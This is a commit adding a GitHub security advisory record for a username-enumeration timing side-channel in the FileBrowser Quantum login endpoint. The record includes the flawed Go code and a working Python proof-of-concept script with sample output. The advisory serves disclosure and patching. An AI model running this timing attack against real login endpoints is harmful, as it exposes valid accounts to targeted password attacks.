Skip to content

Commit 2d76ba0

Browse files
1 parent 6cfd0bd commit 2d76ba0

1 file changed

Lines changed: 63 additions & 0 deletions

File tree

Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-7789-65hx-f26w",
4+
"modified": "2026-03-24T19:18:56Z",
5+
"published": "2026-03-24T19:18:56Z",
6+
"aliases": [],
7+
"summary": "FileBrowser Quantum has Username Enumeration via Authentication Timing Side-Channel",
8+
"details": "### Summary\n\nThe `/api/auth/login` authentication endpoint does not execute in constant time. When a non-existent username is supplied, the server returns a `401`/`403` response almost immediately. When a valid username is provided, the server performs a bcrypt password comparison, causing a measurable delay in the response time.\n\n### Details\n\nThe vulnerability exists in the `Auth` function of `JSONAuth` in `auth/json.go` (lines 45–52). The function performs a database lookup for the user prior to performing any password validation.\n\n```go\nuser, err := userStore.Get(username)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"unable to get user from store: %v\", err)\n\t}\n\terr = users.CheckPwd(password, user.Password)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n```\n\nIf the username is not found, the function returns an error immediately. If the username is found, the function calls `CheckPwd`, which executes the bcrypt hash comparison. Because bcrypt is intentionally computationally expensive, this introduces a measurable delay in the response time.\n\nAs a result, an attacker can distinguish valid usernames from invalid ones by measuring the authentication response times.\n\nIn testing, responses for valid usernames consistently required approximately 40–50 ms due to the bcrypt comparison, while invalid usernames returned in approximately 1–4 ms.\n\n### PoC\n\nThe script below automates this attack by calibrating the network latency using non-existent usernames to establish a baseline and then testing a list of target users. Valid usernames are detected when the response time exceeds the baseline.\n\n```python\nimport requests\nimport time\nimport statistics\n\n# Configuration - adjust domain and wordlist as appropriate\nTARGET_URL = \"http://localhost/api/auth/login\"\nWORDLIST = [\"admin\", \"root\", \"user2\", \"nonexistent_test_user\"]\n\ndef measure(username):\n start = time.perf_counter()\n requests.post(TARGET_URL, params={\"username\": username}, headers={\"X-Password\": \"wrong-password\"})\n return time.perf_counter() - start\n\n# 1. Baseline Calibration\nprint(\"[*] Calibrating...\")\nbaselines = [measure(f\"not_a_user_{i}\") for i in range(20)]\nthreshold = statistics.mean(baselines) + (statistics.stdev(baselines) * 5)\nprint(f\"[*] Baseline: {statistics.mean(baselines):.4f}s | Threshold: {threshold:.4f}s\")\n\n# 2. Validation Test\nfor user in WORDLIST:\n t = measure(user)\n status = \"VALID\" if t > threshold else \"invalid\"\n print(f\"{user:<15} | {t:.4f}s | {status}\")\n```\n\nExample output (with `admin` and `user2` configured as valid users in the application):\n\n```\n$ python timeattack.py\n[*] Calibrating...\n[*] Baseline: 0.0041s | Threshold: 0.0256s\nadmin | 0.0505s | VALID\nroot | 0.0019s | invalid\nuser2 | 0.0464s | VALID\nnonexistent_test_user | 0.0015s | invalid\n```\n\n### Impact\n\nAn unauthenticated attacker can enumerate valid usernames by measuring authentication response times.",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "Go",
19+
"name": "github.com/gtsteffaniak/filebrowser/backend"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "0.0.0-20260317230626-af08800667b8"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/gtsteffaniak/filebrowser/security/advisories/GHSA-7789-65hx-f26w"
40+
},
41+
{
42+
"type": "WEB",
43+
"url": "https://github.com/gtsteffaniak/filebrowser/commit/af08800667b874620edc6f44c3e2e64fec7abd85"
44+
},
45+
{
46+
"type": "PACKAGE",
47+
"url": "https://github.com/gtsteffaniak/filebrowser"
48+
},
49+
{
50+
"type": "WEB",
51+
"url": "https://github.com/gtsteffaniak/filebrowser/releases/tag/v1.3.2-beta"
52+
}
53+
],
54+
"database_specific": {
55+
"cwe_ids": [
56+
"CWE-208"
57+
],
58+
"severity": "MODERATE",
59+
"github_reviewed": true,
60+
"github_reviewed_at": "2026-03-24T19:18:56Z",
61+
"nvd_published_at": null
62+
}
63+
}

0 commit comments

Comments
 (0)